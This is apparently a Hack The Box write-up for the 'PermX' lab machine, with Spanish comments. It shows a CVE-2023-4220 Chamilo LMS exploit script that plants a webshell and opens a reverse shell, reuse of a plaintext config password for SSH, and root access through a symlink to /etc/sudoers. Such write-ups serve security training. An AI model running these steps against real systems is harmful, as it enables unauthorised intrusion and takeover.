PermX

map

```
nmap -sC -sV 10.10.11.23 -o nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:52 CEST
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.73 seconds

┌──(alle㉿DESKTOP-H80F5II)-[~/Desktop/PermX]
└─$ whatweb 10.10.11.23
http://10.10.11.23 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], RedirectLocation[http://permx.htb], Title[302 Found]
http://permx.htb [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]

#Vemos la web: http://permx.htb/

#Realizaremos un gobuster para encontrar subdominios:
gobuster vhost -u http://permx.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt --append-domain |grep -v "Status: 302"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://permx.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: '.permx.htb Status: 400 [Size: 301]
Found: %20.permx.htb Status: 400 [Size: 301]
Found: $file.permx.htb Status: 400 [Size: 301]
Found: *checkout*.permx.htb Status: 400 [Size: 301]
Found: *docroot*.permx.htb Status: 400 [Size: 301]
Found: *.permx.htb Status: 400 [Size: 301]
Found: !ut.permx.htb Status: 400 [Size: 301]
Found: msgreader$1.permx.htb Status: 400 [Size: 301]
Found: search!default.permx.htb Status: 400 [Size: 301]
Found: %7emike.permx.htb Status: 400 [Size: 301]
Found: 4%20color%2099%20it2.permx.htb Status: 400 [Size: 301]
Found: guestsettings!default.permx.htb Status: 400 [Size: 301]
Found: login!withredirect.permx.htb Status: 400 [Size: 301]
Found: http%3a%2f%2fwww.permx.htb Status: 400 [Size: 301]
Found: $1.permx.htb Status: 400 [Size: 301]
Found: lms.permx.htb Status: 200 [Size: 19347]
Found: msnbc%20interactive.permx.htb Status: 400 [Size: 301]
Found: **http%3a.permx.htb Status: 400 [Size: 301]
Found: picture%201.permx.htb Status: 400 [Size: 301]
Found: privacy%20policy.permx.htb Status: 400 [Size: 301]
Found: front_page!pagetype.permx.htb Status: 400 [Size: 301]
Found: q%26a.permx.htb Status: 400 [Size: 301]
Found: espa%c3%b1ol.permx.htb Status: 400 [Size: 301]
Found: fran%c3%a7ais.permx.htb Status: 400 [Size: 301]
Found: http%3a.permx.htb Status: 400 [Size: 301]

#Encontramos un dominio interesante lms.pemx.htb
#Lo añadimos a /etc/hosts.
cat /etc/hosts
# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:
# [network]
# generateHosts = false
127.0.0.1       localhost
```

```
127.0.1.1       DESKTOP-H80F5II.        DESKTOP-H80F5II
10.10.11.23     permx.htb lms.permx.htb
```

#Vemos que aplicativo lleva la web "Powered by Chamilo © 2024"
#Buscaremos un exploit en google.
https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc.git

#Encontramos este RCE.

```
python3 main.py -u http://lms.permx.htb -a scan
[+] Target is likely vulnerable. Go ahead. [+]
```

#Nos indica que el host es vulnerable.

CVE-2023-4220

https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc.git

This is a script written in Python that allows the exploitation of the **Chamilo's LMS** software security flaw described in **CVE-2023-4220**. The system is vulnerable in versions preceding **1.11.24**.

#Primero tendremos que crear el webshell:

```
python3 main.py -u http://lms.permx.htb -a webshell

[+] Upload successfull [+]

Webshell URL: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/webshell.php?cmd=<command>
```

#Lo segundo será crear nuestro rev_shell

```
python3 main.py -u http://lms.permx.htb -a revshell
```

#Añadimos los parámetros con la ip y el puerto del atacante y tendremos ya nuestro shell.

```
[!] BE SURE TO BE LISTENING ON THE PORT THAT YOU DEFINED [!]

[+] Execution completed [+]

You should already have a revserse connection by now.
```

#Si probamos en la web, vemos como nuestro webshell funcioan correctamente:

```
http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/webshell.php?cmd=whoami
www-data www-data
```

#Ya tendremos nuestro rev_shell.

```
nc -nvlp 9999
listening on [any] 9999 ...
connect to [10.10.14.174] from (UNKNOWN) [10.10.11.23] 33280
bash: cannot set terminal process group (1215): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami
www-data
```

#Ahora subiremos el binario linpeas. (curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh > linpeas.sh)

```
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.23 - - [09/Sep/2024 20:38:34] "GET /linpeas.sh HTTP/1.1" 200 -
```

```
www-data@permx:/var/www/html$ wget http://10.10.14.174:80/linpeas.sh
wget http://10.10.14.174:80/linpeas.sh
--2024-09-09 18:38:33--  http://10.10.14.174/linpeas.sh
Connecting to 10.10.14.174:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 823059 (804K) [text/x-sh]
Saving to: 'linpeas.sh'

     0K .......... .......... .......... .......... ..........  6%  185K 4s
    50K .......... .......... .......... .......... .......... 12%  360K 3s
   100K .......... .......... .......... .......... .......... 18% 9.30M 2s
   150K .......... .......... .......... .......... .......... 24%  355K 2s
   200K .......... .......... .......... .......... .......... 31% 8.62M 1s
   250K .......... .......... .......... .......... .......... 37% 8.10M 1s
   300K .......... .......... .......... .......... .......... 43% 5.64M 1s
   350K .......... .......... .......... .......... .......... 49%  371K 1s
   400K .......... .......... .......... .......... .......... 55% 6.44M 1s
   450K .......... .......... .......... .......... .......... 62% 9.96M 0s
   500K .......... .......... .......... .......... .......... 68% 13.1M 0s
   550K .......... .......... .......... .......... .......... 74% 7.18M 0s
   600K .......... .......... .......... .......... .......... 80% 7.20M 0s
   650K .......... .......... .......... .......... .......... 87% 6.63M 0s
   700K .......... .......... .......... .......... .......... 93%  356K 0s
   750K .......... .......... .......... .......... .......... 99% 6.10M 0s
   800K ...                                                   100% 21.6M=0.9s

2024-09-09 18:38:34 (897 KB/s) - 'linpeas.sh' saved [823059/823059]
```

#Tendremos que obtener las credenciales del usuario.
#Vemos credenciales en texto claro de un usario ftp.

```
-rwxr-xr-x 1 www-data www-data 326 Nov  3  2022 /var/www/chamilo/vendor/knplabs/gaufrette/.env.dist
AWS_KEY=
AWS_SECRET=
AWS_BUCKET=
AZURE_ACCOUNT=
AZURE_KEY=
AZURE_CONTAINER=
FTP_HOST=ftp
FTP_PORT=21
FTP_USER=gaufrette
FTP_PASSWORD=gaufrette
FTP_BASE_DIR=/gaufrette
MONGO_URI=mongodb://mongodb:27017
MONGO_DBNAME=gridfs_test
SFTP_HOST=sftp
SFTP_PORT=22
SFTP_USER=gaufrette
SFTP_PASSWORD=gaufrette
SFTP_BASE_DIR=gaufrette
```

#Credenciales:
user → gaufrette
password → gaufrette

#Probamos con las credenciales anteriores en ssh sin exito.

```
╔══════════╣ Searching passwords in config PHP files
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => false,
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => true,
/var/www/chamilo/app/config/configuration.php:        'wget_password' => '',
/var/www/chamilo/app/config/configuration.php:    'force_different_password' => false,
/var/www/chamilo/app/config/configuration.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
/var/www/chamilo/app/config/configuration.php:$_configuration['password_encryption'] = 'bcrypt';
/var/www/chamilo/app/config/configuration.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/app/config/configuration.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
/var/www/chamilo/app/config/configuration.php://$_configuration['force_renew_password_at_first_login'] = true;
/var/www/chamilo/app/config/configuration.php://$_configuration['password_conversion'] = false;
/var/www/chamilo/cli-config.php:    'password' => $_configuration['db_password'],
/var/www/chamilo/main/admin/db.php:';if($Qd=="auth"){$Ce="";foreach((array)$_SESSION["pwds"]as$mh=>$Mf){foreach($Mf
/var/www/chamilo/main/admin/db.php:<tr><th>Password<td><input name="pass" id="pass" value="',h($L["pass"]),'" autocomplete="new-password">
/var/www/chamilo/main/install/configuration.dist.php:                'show_password_field' => false,
/var/www/chamilo/main/install/configuration.dist.php:                'show_password_field' => true,
/var/www/chamilo/main/install/configuration.dist.php:        'wget_password' => '',
/var/www/chamilo/main/install/configuration.dist.php:    'force_different_password' => false,
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['db_password'] = '{DATABASE_PASSWORD}';
/var/www/chamilo/main/install/configuration.dist.php:$_configuration['password_encryption'] = '{ENCRYPT_PASSWORD}';
/var/www/chamilo/main/install/configuration.dist.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['force_renew_password_at_first_login'] = true;
/var/www/chamilo/main/install/configuration.dist.php://$_configuration['password_conversion'] = false;
/var/www/chamilo/main/install/update-configuration.inc.php:        } elseif (stripos($line, '$userPasswordCrypted') !== false) {
/var/www/chamilo/plugin/buycourses/database.php:        'password' => '',
/var/www/chamilo/plugin/buycourses/database.php:    $paypalTable->addColumn('password', Types::STRING);
```

#Probaremos mediante ssh. (vemos el usuario en /home)
user → mtz
passwd → 03F6lY3uXAP2bkW8

```
ssh mtz@10.10.11.23
mtz@10.10.11.23's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Sep  9 07:40:06 PM UTC 2024

  System load:  0.0               Processes:             246
  Usage of /:   59.3% of 7.19GB   Users logged in:       1
  Memory usage: 23%               IPv4 address for eth0: 10.10.11.23
  Swap usage:   0%
```

```
Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Sep  9 17:42:05 2024 from 10.10.14.126
mtz@permx:~$
```

main.py

main.py

```
from argparse import ArgumentParser
from exploit import ChamiloBigUploadExploit
from os import system


def check_extension(filename: str, extension: str) -> str:
    if not filename.endswith(f'.{extension}'):
        return f'{filename}.{extension}'

    return filename


def scan_action() -> None:
    system('clear')

    result = exploit.check_target_vulnerable()

    if result:
        print('[+] Target is likely vulnerable. Go ahead. [+]')
    else:
        print('[-] Target is not vulnerable [-]')
        print(f'\nCould not access {url}/main/inc/lib/javascript/bigupload/files/')


def webshell_action() -> None:
    system('clear')

    filename = input('Enter the name of the webshell file that will be placed on the target server (default: webshell.php): ')

    if not filename:
        filename = 'webshell.php'

    filename = check_extension(filename, 'php')

    result = exploit.send_webshell(filename)

    system('clear')

    if result:
        print('[+] Upload successfull [+]')
        print(f'\nWebshell URL: {result}?cmd=<command>')
    else:
        print('[-] Something went wrong [-]')
        print(f'\nUnable to determine whether the file upload was successful. You can check at {url}/main/inc/lib/javascript/bigupload/files/')


def revshell_action() -> None:
    system('clear')

    webshell_filename = input('Enter the name of the webshell file that will be placed on the target server (default: webshell.php): ')
    bash_revshell_filename = input('Enter the name of the bash revshell file that will be placed on the target server (default: revshell.sh):
')
    host = input('Enter the host the target server will connect to when the revshell is run: ')
    port = input('Enter the port on the host the target server will connect to when the revshell is run: ')

    if not host or not port:
        print('\n[-] You need to provied a valid host and port for the target server to connect to [-]')
        exit(1)

    try:
        int(port)
    except ValueError:
        print('\n[-] You need to provied a valid host and port for the target server to connect to [-]')
        exit(1)

    if not webshell_filename:
        webshell_filename = 'webshell.php'

    if not bash_revshell_filename:
        bash_revshell_filename = 'revshell.sh'

    webshell_filename = check_extension(webshell_filename, 'php')
    bash_revshell_filename = check_extension(bash_revshell_filename, 'sh')

    system('clear')

    print('[!] BE SURE TO BE LISTENING ON THE PORT THAT YOU DEFINED [!]\n')

    result = exploit.send_and_execute_revshell(webshell_filename, bash_revshell_filename, host, port)

    if result:
        print('[+] Execution completed [+]')
        print('\nYou should already have a revserse connection by now.')
    else:
        print('[-] Something went wrong [-]')


actions = {
    'scan': scan_action,
    'webshell': webshell_action,
    'revshell': revshell_action
}

parser = ArgumentParser(
    'Chamilo LMS Unauthenticated Big Upload File RCE',
    'This is a script written in Python that allows the exploitation of the Chamilo\'s LMS software security flaw described in CVE-2023-4220'
)

parser.add_argument('-u', '--url', type=str, required=True, help='Target Root Chamilo\'s URL')
parser.add_argument('-a', '--action', type=str, required=True, help='Action to perform on the vulnerable endpoint (webshell: Create PHP webshell file, revshell: Create and execute bash revshell file)')

args = parser.parse_args()

action = args.action
url = args.url.rstrip('/')

exploit = ChamiloBigUploadExploit(url)

actions[action]()
```

priv_escalation

```
#Realizamos un sudo -l para vr que script podemos ejecutar con privilegios:
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$ /opt/acl.sh
Usage: /opt/acl.sh user perm file

#Se trata de un comando para añadir permisos acl.

sudo /opt/acl.sh mtz rw helpfile
Access denied.

#Vemos el contenido del script para entenderlo:
mtz@permx:~$ cat /opt/acl.sh
```

```
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
```

#Aplicados los permisos, podremos ver el contenido del fichero /etc/passwd.

```
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/test
mtz@permx:~$ cat /home/mtz/test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
```

```
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
```

```
#O bién se podria modificar el fichero etc para añadir un usuario con permisos de root. (procederemos con la segunda forma)
#De la misma forma podremos modificar el fichero sudoers para que el usuario mtz tenga permisos root.

mtz@permx:~$ ln -s /etc/sudoers /home/mtz/test2
mtz@permx:~$ ll
total 32
drwxr-x--- 4 mtz  mtz  4096 Sep 10 17:42 ./
drwxr-xr-x 3 root root 4096 Jan 20  2024 ../
lrwxrwxrwx 1 root root    9 Jan 20  2024 .bash_history -> /dev/null
-rw-r--r-- 1 mtz  mtz   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 mtz  mtz  3771 Jan  6  2022 .bashrc
drwx------ 2 mtz  mtz  4096 May 31 11:14 .cache/
lrwxrwxrwx 1 root root    9 Jan 20  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 mtz  mtz   807 Jan  6  2022 .profile
drwx------ 2 mtz  mtz  4096 Jan 20  2024 .ssh/
lrwxrwxrwx 1 mtz  mtz    12 Sep 10 17:42 test2 -> /etc/sudoers
-rw-r----- 1 root mtz    33 Sep 10 13:02 user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/test2
mtz@permx:~$ vim /home/mtz/test2
#En el fichero añadiremos la linea:
mtz ALL=(ALL:ALL) ALL

mtz@permx:~$ sudo su
[sudo] password for mtz:
root@permx:/home/mtz# whoami
root
root@permx:/home/mtz#
```